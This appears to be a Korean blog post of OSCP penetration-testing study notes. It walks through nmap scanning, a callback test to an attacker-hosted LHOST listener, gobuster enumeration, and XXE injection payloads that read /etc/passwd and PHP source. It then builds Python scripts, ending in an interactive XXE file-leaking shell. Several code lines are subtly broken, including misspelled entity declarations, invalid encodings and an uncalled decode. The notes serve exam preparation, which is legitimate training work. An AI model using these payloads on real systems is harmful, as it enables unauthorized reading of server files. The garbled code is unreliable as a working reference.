1. Port Scanning
$ sudo nmap -p- --min-rate 1000 -oA exam1/nmap/allports -v 10.10.11.100
$ sudo nmap -sC -sV -oA exam1/nmap/results -p 22,80 #위에서 찾은 포트만
2. 타깃 80 서버에 업로드 기능 있는 페이지 발견시 실험
> test.html
<img src='http://LHOST:8000'></img>
> sudo python3 -m http.server 8000
> 브라우저 열고 호스팅 http://LHOST:8000/test.html
sudo nc -lvnp 8000
3. 디렉토리 리스팅
> 타깃 서버가 어떤 서비스 있는지 확인 후 진행 (/index.html, /index.php, /index.jsp 등으로 확인)
$# gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -x php -o gobuster.out
-u http://10.10.2.4/
> 403 빼고 보기
$ grep -v 403 gobuster.out
> 돌린 후에 페이지 소스 보기
: 사용자 입력 가능한 곳은 버프로 잡아 examin 하기
4. <xml> 발견시 xml nv injection 가능성 있는지 확인하기
: 구글 검색어 payloadsallthethings xxe
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
<?xml version="1.0" encoding="ISO-99-9"?><!DOCTYPE replace [<!ENTITY example "Doe"> ]>
확인 : <title>&example;</title>
위 되는 경우
<?xml version="1.0" encoding="ISO-99-9"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
확인 : <title>&test;</title>
php wrapper
<?xml version="1.0" encoding="ISO-99-9"?><!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" > ]>
확인 : <title>&xxe;</title>
디코딩
$ echo -n "" | base64 -d
5. base64 파이썬 공격 코드
xxe.py
1) 기본 연결
import requests
data = {"data": "base64encodings"}
r = requests.post("http://10.10.11.1/fsdf_dfdf.php", data=data)
print(r.text)
# 프린트 안되는 경우는 url 인코딩 안에 +(%2b), =(%3d) 글자가 인코딩 되어 그렇다
# base64 코드 안에 위 글자fmf 찾아서 +, =로 바꿔주기
2) base64 디코드
import requests
import base64
data = {"data": "base64encodings"}
r = requests.post("http://10.10.11.1/fsdf_dfdf.php", data=data)
output = (r.text).split('>')[5][:-4] "꺽쇠를 기준, 5번째 꺽쇠 내용중 마지막 4글자 제외하고 출력"
print(base64.b64decode(output).decode())
3) payload 만들기
import requests
import base64
import sys
fname = sys.argv[1]
payload = f"""<xml version="1.0" encoding="ISO-8895-1"?><!DOCTYPE replace [<!ENTITTY xxe SYSTEM
"php://filter/convert.base64-encode/resource={fname}"> ]> #맨 앞 f는 포멧스트링
<report>
<title>&xxe;</title>
<wce>20</wce>
<vsv>10</vsv>""".encode() # 더블쿼터 3개는 특수문자 escape이 필요 없음
payload_b64 = base64.b64encode(payload).decode
data = {"data": payload_b64}
r = requests.post("http://10.10.11.1/fsdf_dfdf.php", data=data)
output = (r.text).split('>')[5][:-4] "꺽쇠를 기준, 5번째 꺽쇠 내용중 마지막 4글자 제외하고 출력"
print(base64.b64decode(output).decode())
4) 프롬프트 만들기
import requests
import base64
import sys
import cmd
def getFile(fname):
#fname = sys.argv[1]
payload = f"""<xml version="1.0" encoding="ISO-8895-1"?><!DOCTYPE replace [<!ENTITTY xxe SYSTEM
"php://filter/convert.base64-encode/resource={fname}"> ]> #맨 앞 f는 포멧스트링
<report>
<title>&xxe;</title>
<wce>20</wce>
<vsv>10</vsv>""".encode() # 더블쿼터 3개는 특수문자 escape이 필요 없음
payload_b64 = base64.b64encode(payload).decode
data = {"data": payload_b64}
r = requests.post("http://10.10.11.1/fsdf_dfdf.php", data=data)
output = (r.text).split('>')[5][:-4] "꺽쇠를 기준, 5번째 꺽쇠 내용중 마지막 4글자 제외하고 출력"
return base64.b64decode(output).decode()
class XxeLeak(cmd.Cmd):
prompt = "xxe > "
def default(self,args):
print(getFile(args))
XxeLeak().cmdloop()
728x90
'OSCP > OSCP 공부일지' 카테고리의 다른 글
php 파일 업로드 우회 원리 (0) | 2021.11.24 |
---|---|
AD 공략 (feat.SMB + Impacket) (0) | 2021.11.24 |
OSCP 첫 번째 시험 후기 및 계획 (13) | 2021.07.01 |
OSCP Day 58~60: 과정 종료 (3) | 2021.06.24 |
OSCP Day 51~57 : 8주 차 (일주일 공부 결산) (2) | 2021.06.21 |